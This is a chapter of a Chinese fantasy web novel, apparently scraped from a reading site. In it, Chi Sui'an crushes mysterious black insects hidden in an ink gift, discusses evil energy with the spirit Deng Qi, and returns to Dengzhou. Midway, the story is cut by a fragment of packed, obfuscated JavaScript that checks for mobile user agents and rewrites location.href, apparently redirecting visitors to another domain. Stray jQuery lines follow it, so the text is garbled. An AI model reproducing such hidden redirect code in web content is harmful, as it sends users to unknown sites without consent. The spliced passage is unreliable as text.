45. 墨香16

作品:《她与邪祟同行

    瞎扯淡!


    池岁安对袁彦卿没有一点好感,只觉得这人说话也极不中听。


    不过她可算是知道荀慎为什么既不休息,也不让她走了。


    原来是在等袁彦卿啊。


    就说陈康怎会让人直接闯进荀慎的屋里。


    池岁安无心管他们,走到书案前将发钗插回头上。


    这厢荀慎平复了一下气息,将袁彦卿让到榻上落座,“彦卿这么晚过来是有事?”


    池岁安注意到了他的称呼,早间还叫的姐夫呢。


    “早前在文会上那不长眼的冲撞了你,到底是我招待不周,这不就来给你赔礼了嘛。”


    池岁安戴发钗的手一顿,这么晚带舞姬过来赔礼?她缓缓走回荀慎身边,想看看袁彦卿到底在搞什么幺蛾子。


    舞姬将手中的盒子递过去,袁彦卿接过后打开,“这是我新制的墨,较之前送你的还要好些。你看看,若是喜欢便收下,权当我给你赔礼道歉了。”


    池岁安对墨条不甚了解,她只注意到袁彦卿打开盒子的瞬间,两只黑色小虫从里面飞了出来,其中一只外壳上带着金色纹路。


    荀慎伸手接过墨条,“光滑细润,色泽青紫,看着确实不错。”


    嘶。池岁安看着那只带金色纹路的黑虫在空中盘旋了两圈之后往荀慎耳边飞去,他却毫无反应,这是看不见吗?


    这虫子今夜出现的频率过高了,又是袁彦卿带过来的……


    不管了。


    池岁安拿起荀慎顺手放在小几上的东南西北折纸,伸手便用那折纸把即将歇在他耳廓上的小黑虫捉住,然后狠狠一捏。


    整个过程可称得上是眼疾手快。


    而后她又直接无视袁彦卿微眯的眼眸,转头寻找另一只小黑虫,几息后就在她自己红色的裙摆上发现了踪影。


    捉住,捏死。


    “礼已送到,还望三郎原谅则个。”袁彦卿又开口讨饶。


    荀慎将盒子盖住,表示收下了,“彦卿这是哪里话,我与彦卿何谈原谅。”


    袁彦卿闻言便要告辞,“天色已晚,我就不打扰你休息。”


    荀慎略一思索,“我送你。”


    走到客院门口,袁彦卿状似随意道:“池娘子虽说是三郎同门,规矩却好似差了些。”


    荀慎不紧不慢道:“在我这里,她不用讲什么规矩。”


    袁彦卿莫名一笑,“那三郎可要将她护好。”


    ※


    池岁安坐在荀慎坐过的位置上,等他回到房间后伸手请他在对面落座。


    “郎君要等的人也等到了,目的也达成了。想必已经用不上我了吧?”


    荀慎合眼后再度睁开,“娘子方才是发现了不对劲?”


    说起这个,池岁安将拆开的折纸递给他,上面有两个墨团。


    “这是?”


    “郎君今夜在文会上可有看到黑色的飞虫?”


    “不曾。”


    “那刚才可有看到黑色的飞虫从你面前飞至耳后?”


    荀慎摇头:“不曾。”


    池岁安不意外他看不见,但袁彦卿显然能看见,这虫子决计是受袁彦卿控制的。这虫子起什么作用?一只冲着荀慎去的,另一只是冲着她来的。


    这回算是躲过了,下回呢?只针对他们两个人吗?袁彦卿究竟有什么目的呢?


    “所以这就是娘子在文会上,还有方才在我耳边动作的原因?”荀慎看着那两个墨团沉吟:“黑色的飞虫……”


    池岁安点头:“没错。我必须诚实地告知郎君,我根本不知道这是什么,也不知道这东西有什么妨害。”


    她定定地盯着荀慎,“郎君已将自己置于险境之中了。或许郎君以为我在园外所说是玩笑?”


    荀慎听出了她的未尽之言,抬眸与她对视:“慎从未将娘子的话当作玩笑,娘子之安危,慎亦重视。只是有些事,慎不得不为。”


    说得倒是好听,池岁安心内嘲讽。她移开眼神,“夜已深,我能回去休息了吗?”


    这回荀慎没有拦她。


    池岁安火急火燎地离开荀慎的房间,确定他听不到她的声音就迫不及待地问邓弃:“这里还有新的阴魂被召出来吗?”若是有,她说什么都要跑路。


    “暂时没有。”


    她松了口气,“你看到那些黑虫了吗?”一直没找到机会问。


    “看到了。”


    “那是邪祟?”反正不可能是普通的虫子。


    邓弃难得的没有底气,“说不好。身上并无邪气,也从未听说过有这种邪祟。”


    池岁安撇嘴,又不知道,真是干啥啥不行。


    “那你可感知到这里煞气的源头?”


    邓弃:“这煞气似邪非邪,似魂非魂,从地底源源不断地冒出来,也不知地下到底有什么?且这煞气又与那四人身上的煞气不同,他们身上的应该叫邪气才对。”


    池岁安皱眉,这么复杂?


    “能不能直接唤那些阴、神兵出来,将这里的什么邪祟、妖魔、阴魂涤荡干净啊?”这时候也顾不上什么一刀切不一刀切了。


    邓弃凉凉道:“可以啊。但他们若是没找到邪祟妖魔,就要用你的血肉祭旗了。”


    池岁安想到来这里第一晚的事情,赶紧说不用了。


    等她走到管事给她和徐六娘准备的客房前,邓弃问:“你走了就不怕有虫子再去找那姓荀的小子?”


    池岁安把核桃挂件取出来,“那虫子要是能行动自如,又何须姓袁的专门拿个盒子送过来。他如今已经知道虫子的事情,若还是对袁彦卿毫无防备,那只能怨他自己了。”


    再说了,诚如她之前所想,那虫子定然不是要他命的东西。


    “你倒不蠢。”


    池岁安懒得理他,就着红光摸到床上睡去了。


    这厢陈康在池岁安离开很久之后才回到荀慎屋里,“人已经看管起来了,还活着。”


    “问清楚了吗?”


    “已经安排好了,一有消息就送过来。”


    “那边呢?”


    “去了湖心岛,影子不好接近。”


    荀慎点头表示知道了。


    “还有一事。袁彦卿派人去襄州谭家探听池娘子的身份了。”


    荀慎嗤笑一声,“随他去。”


    陈康知道郎君已经做了安排,沉声道:“袁彦卿大不敬。”


    荀慎眼神冰冷,“留着他还有用。”


    “明白。”陈康闻言暂时打消杀掉袁彦卿的念头。


    ※


    “娘子,该起身了。要准备回邓州城了。”


    池岁安迷糊中听清后唰地起身,幸亏她昨夜睡下时没拆掉发髻,现在可以立马就走。


    这鬼迷日眼的地方她真是一刻都不想多待。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166147|174092||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >等她们走到庄园大门口时,才发现荀慎早已等在外面。


    池岁安毫无愧意,跟徐六娘上了来时坐的那辆马车,马车启程,她突然想到一事,撩起帘子朝外看去。


    “怎么了?”


    “你方才一路上有没有看到庄园里所有的灯笼都灭了?”


    徐六娘没注意,“现在已近巳时,灭掉灯笼实属正常。”


    “可回廊下挂的红灯笼仍旧是点燃的。”


    天光早已大亮,大门口的这对红灯笼已经熄灭了,回廊两侧白色带花纹的灯笼也全部熄灭了,可悬挂在回廊正中的红色带金色纹路的灯笼却一直燃着。


    徐六娘一路行来确实没有注意,“许是挂得太高,不便熄灭,只等里面的烛油自行燃尽?”


    池岁安放下帘子,“或许吧。”


    她也说不出有什么不对,但始终觉得怪里怪气的。


    一行人是午时初回到邓州袁宅的。


    等池岁安两人下车时,荀慎和袁言卿已没了踪影,她们被管事娘子送回原先住的院子。


    “啊!”池岁安直接倒在床榻上,总算能安心地休息一下了。


    “娘子先别睡。昨夜便没给伤处上药,待上完药再睡吧。”


    池岁安想到自己的计划,痛快地起身。


    “六娘,你以后想做什么呀?”


    徐六娘一边给她后背的伤处抹药一边回答:“好些年前为了给阿娘治病,我跟阿兄自卖自身进了谭家,本以为能有个着落的。现在阿娘跟阿兄都没了,只剩我一个人,我也不知道往后会怎么样。”


    “你愿意跟着荀郎君做事吗?”


    “如今恐怕不是我愿不愿意的问题了。”徐六娘随口答道。


    池岁安心里很复杂,她知道徐六娘没说实话,也大概能猜到徐六娘的意图,那是一条死路,她帮不了什么忙。


    但她仍想给徐六娘指另外一条路。


    “你有一手针灸的本事,想要谋生并不难。如果,我是说如果,以后你有机会离开荀郎君身边,你愿意吗?”话音一落她就感到背后抹药的手一顿。


    良久后徐六娘才回答:“现在哪里想得到以后的事呢。”


    池岁安点头,“也是。”


    她虽然不希望看到徐六娘身死,但劝人放下仇恨确实有些站着说话不腰疼,只希望徐六娘得偿所愿吧。


    池岁安上完药没一会儿就有婢女过来送午食。


    “我家大娘子请池娘子过去叙话。”


    “大娘子?”池岁安疑惑。


    徐六娘在旁边提醒,“就是贺三娘子。”


    “哦哦。”


    池岁安腹诽古人这些称呼真是让人头大。话又说回来了,这都饭点了,贺三娘子请她叙哪门子的话呀。她从昨夜文会起就啥都没吃,早就饿得前胸贴后背了。


    跟婢女去往贺三娘子院落的路上,池岁安一直在想贺三娘子找她会是什么事。


    问昨夜荀慎有没有流连花丛?反正不会是问袁言卿,贺三娘子摆明了对袁言卿毫不关心,甚至装都懒得装那种。


    刚踏进贺三娘子的院里,池岁安就听到有人在呵斥,“晦气!还不快找人埋了。”


    是贺三娘子。


    绕过遮挡的影壁,她的眼神与贺三娘子相接,而后池岁安睁大了双眼。


    “这人也缠上了邪气。”


    邓弃这样说。